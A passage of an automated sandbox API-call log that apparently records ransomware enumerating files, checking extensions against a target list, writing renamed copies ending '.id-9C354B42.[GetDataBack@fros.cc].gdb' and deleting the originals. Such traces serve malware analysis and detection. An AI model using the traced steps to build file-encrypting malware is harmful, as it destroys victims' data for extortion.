files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0122.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.153] lstrlenW (lpString=".doc") returned 4 [0122.153] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.153] lstrlenW (lpString=".docx") returned 5 [0122.153] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0122.153] lstrlenW (lpString=".pdf") returned 4 [0122.153] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.153] lstrlenW (lpString=".xls") returned 4 [0122.153] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.153] lstrlenW (lpString=".xlsx") returned 5 [0122.153] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0122.153] lstrlenW (lpString=".ppt") returned 4 [0122.153] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.153] lstrlenW (lpString=".zip") returned 4 [0122.154] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.154] lstrlenW (lpString=".rar") returned 4 [0122.154] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.154] lstrlenW (lpString=".bz2") returned 4 [0122.154] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.154] lstrlenW (lpString=".7z") returned 3 [0122.154] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.154] lstrlenW (lpString=".dbf") returned 4 [0122.154] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.154] lstrlenW (lpString=".1cd") returned 4 [0122.154] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.154] lstrlenW (lpString=".jpg") returned 4 [0122.154] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.154] lstrlenW (lpString=".doc") returned 4 [0122.154] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.154] lstrlenW (lpString=".docx") returned 5 [0122.154] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0122.154] lstrlenW (lpString=".pdf") returned 4 [0122.154] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.154] lstrlenW (lpString=".xls") returned 4 [0122.154] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.154] lstrlenW (lpString=".xlsx") returned 5 [0122.154] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0122.154] lstrlenW (lpString=".ppt") returned 4 [0122.154] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.154] lstrlenW (lpString=".zip") returned 4 [0122.154] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.154] lstrlenW (lpString=".rar") returned 4 [0122.154] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.154] lstrlenW (lpString=".bz2") returned 4 [0122.154] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.154] lstrlenW (lpString=".7z") returned 3 [0122.154] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.154] lstrlenW (lpString=".dbf") returned 4 [0122.154] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.155] lstrlenW (lpString=".1cd") returned 4 [0122.155] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0122.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0122.155] lstrlenW (lpString=".jpg") returned 4 [0122.155] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0122.155] lstrcmpiW (lpString1=".emf", lpString2=".gdb") returned -1 [0122.155] lstrlenW (lpString="Genko_1.emf") returned 11 [0122.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.156] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=5524) returned 1 [0122.156] CloseHandle (hObject=0x208) returned 1 [0122.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0122.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString=".doc") returned 4 [0122.157] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0122.157] lstrlenW (lpString=".docx") returned 5 [0122.157] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0122.157] lstrlenW (lpString=".pdf") returned 4 [0122.157] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0122.157] lstrlenW (lpString=".xls") returned 4 [0122.157] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0122.157] lstrlenW (lpString=".xlsx") returned 5 [0122.157] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0122.157] lstrlenW (lpString=".ppt") returned 4 [0122.157] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString=".zip") returned 4 [0122.157] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0122.157] lstrlenW (lpString=".rar") returned 4 [0122.157] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0122.157] lstrlenW (lpString=".bz2") returned 4 [0122.157] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0122.157] lstrlenW (lpString=".7z") returned 3 [0122.157] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString=".dbf") returned 4 [0122.157] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString=".1cd") returned 4 [0122.157] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString=".jpg") returned 4 [0122.157] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.157] lstrlenW (lpString=".doc") returned 4 [0122.157] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0122.157] lstrlenW (lpString=".docx") returned 5 [0122.157] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0122.157] lstrlenW (lpString=".pdf") returned 4 [0122.157] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0122.158] lstrlenW (lpString=".xls") returned 4 [0122.158] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0122.158] lstrlenW (lpString=".xlsx") returned 5 [0122.158] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0122.158] lstrlenW (lpString=".ppt") returned 4 [0122.158] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0122.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.158] lstrlenW (lpString=".zip") returned 4 [0122.158] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0122.158] lstrlenW (lpString=".rar") returned 4 [0122.158] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0122.158] lstrlenW (lpString=".bz2") returned 4 [0122.158] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0122.158] lstrlenW (lpString=".7z") returned 3 [0122.158] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0122.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.158] lstrlenW (lpString=".dbf") returned 4 [0122.158] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0122.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.158] lstrlenW (lpString=".1cd") returned 4 [0122.158] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0122.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0122.158] lstrlenW (lpString=".jpg") returned 4 [0122.158] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0122.158] lstrcmpiW (lpString1=".emf", lpString2=".gdb") returned -1 [0122.158] lstrlenW (lpString="Genko_2.emf") returned 11 [0122.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.158] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=10340) returned 1 [0122.159] CloseHandle (hObject=0x208) returned 1 [0122.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0122.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.159] lstrlenW (lpString=".doc") returned 4 [0122.159] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0122.159] lstrlenW (lpString=".docx") returned 5 [0122.159] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0122.159] lstrlenW (lpString=".pdf") returned 4 [0122.159] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0122.159] lstrlenW (lpString=".xls") returned 4 [0122.159] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0122.159] lstrlenW (lpString=".xlsx") returned 5 [0122.159] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0122.159] lstrlenW (lpString=".ppt") returned 4 [0122.159] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0122.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.159] lstrlenW (lpString=".zip") returned 4 [0122.159] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0122.159] lstrlenW (lpString=".rar") returned 4 [0122.159] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0122.159] lstrlenW (lpString=".bz2") returned 4 [0122.159] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0122.159] lstrlenW (lpString=".7z") returned 3 [0122.159] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0122.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.159] lstrlenW (lpString=".dbf") returned 4 [0122.159] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0122.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.159] lstrlenW (lpString=".1cd") returned 4 [0122.159] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0122.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.159] lstrlenW (lpString=".jpg") returned 4 [0122.159] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0122.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.160] lstrlenW (lpString=".doc") returned 4 [0122.160] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0122.160] lstrlenW (lpString=".docx") returned 5 [0122.160] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0122.160] lstrlenW (lpString=".pdf") returned 4 [0122.160] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0122.160] lstrlenW (lpString=".xls") returned 4 [0122.160] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0122.160] lstrlenW (lpString=".xlsx") returned 5 [0122.160] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0122.160] lstrlenW (lpString=".ppt") returned 4 [0122.160] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0122.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.160] lstrlenW (lpString=".zip") returned 4 [0122.160] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0122.160] lstrlenW (lpString=".rar") returned 4 [0122.160] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0122.160] lstrlenW (lpString=".bz2") returned 4 [0122.160] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0122.160] lstrlenW (lpString=".7z") returned 3 [0122.160] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0122.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.160] lstrlenW (lpString=".dbf") returned 4 [0122.160] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0122.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.160] lstrlenW (lpString=".1cd") returned 4 [0122.160] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0122.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0122.160] lstrlenW (lpString=".jpg") returned 4 [0122.160] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0122.160] lstrcmpiW (lpString1=".emf", lpString2=".gdb") returned -1 [0122.160] lstrlenW (lpString="Graph.emf") returned 9 [0122.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.161] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=116724) returned 1 [0122.161] CloseHandle (hObject=0x208) returned 1 [0122.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0122.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0122.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0122.161] lstrlenW (lpString=".doc") returned 4 [0122.161] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0122.161] lstrlenW (lpString=".docx") returned 5 [0122.161] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0122.162] lstrlenW (lpString=".pdf") returned 4 [0122.162] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0122.162] lstrlenW (lpString=".xls") returned 4 [0122.162] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0122.162] lstrlenW (lpString=".xlsx") returned 5 [0122.162] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0122.162] lstrlenW (lpString=".ppt") returned 4 [0122.162] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0122.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0122.162] lstrlenW (lpString=".zip") returned 4 [0122.162] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0122.162] lstrlenW (lpString=".rar") returned 4 [0122.162] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0122.162] lstrlenW (lpString=".bz2") returned 4 [0122.162] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0122.162] lstrlenW (lpString=".7z") returned 3 [0122.162] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0122.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0122.162] lstrlenW (lpString=".dbf") returned 4 [0122.162] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0122.971] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.972] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0122.972] GetLastError () returned 0x0 [0122.972] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x4d44, lpOverlapped=0x0) returned 1 [0122.974] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x4d50, lpOverlapped=0x0) returned 1 [0122.975] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0122.975] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0122.975] SetEndOfFile (hFile=0x21c) returned 1 [0122.975] CloseHandle (hObject=0x21c) returned 1 [0122.976] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0122.976] SetEndOfFile (hFile=0x198) returned 1 [0122.977] CloseHandle (hObject=0x198) returned 1 [0122.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0122.978] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0122.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.978] lstrlenW (lpString=".doc") returned 4 [0122.978] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0122.978] lstrlenW (lpString=".docx") returned 5 [0122.978] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0122.978] lstrlenW (lpString=".pdf") returned 4 [0122.978] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0122.978] lstrlenW (lpString=".xls") returned 4 [0122.978] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0122.978] lstrlenW (lpString=".xlsx") returned 5 [0122.978] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0122.978] lstrlenW (lpString=".ppt") returned 4 [0122.979] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0122.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.979] lstrlenW (lpString=".zip") returned 4 [0122.979] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0122.979] lstrlenW (lpString=".rar") returned 4 [0122.979] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0122.979] lstrlenW (lpString=".bz2") returned 4 [0122.979] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0122.979] lstrlenW (lpString=".7z") returned 3 [0122.979] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0122.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.979] lstrlenW (lpString=".dbf") returned 4 [0122.979] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0122.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.979] lstrlenW (lpString=".1cd") returned 4 [0122.979] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0122.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.979] lstrlenW (lpString=".jpg") returned 4 [0122.979] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0122.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.979] lstrlenW (lpString=".doc") returned 4 [0122.979] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0122.979] lstrlenW (lpString=".docx") returned 5 [0122.979] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0122.979] lstrlenW (lpString=".pdf") returned 4 [0122.979] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0122.979] lstrlenW (lpString=".xls") returned 4 [0122.979] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0122.979] lstrlenW (lpString=".xlsx") returned 5 [0122.979] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0122.979] lstrlenW (lpString=".ppt") returned 4 [0122.980] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0122.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.980] lstrlenW (lpString=".zip") returned 4 [0122.980] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0122.980] lstrlenW (lpString=".rar") returned 4 [0122.980] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0122.980] lstrlenW (lpString=".bz2") returned 4 [0122.980] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0122.980] lstrlenW (lpString=".7z") returned 3 [0122.980] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0122.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0122.980] lstrlenW (lpString=".dbf") returned 4 [0122.980] lstrcmpiW (lpString1=".dbf", 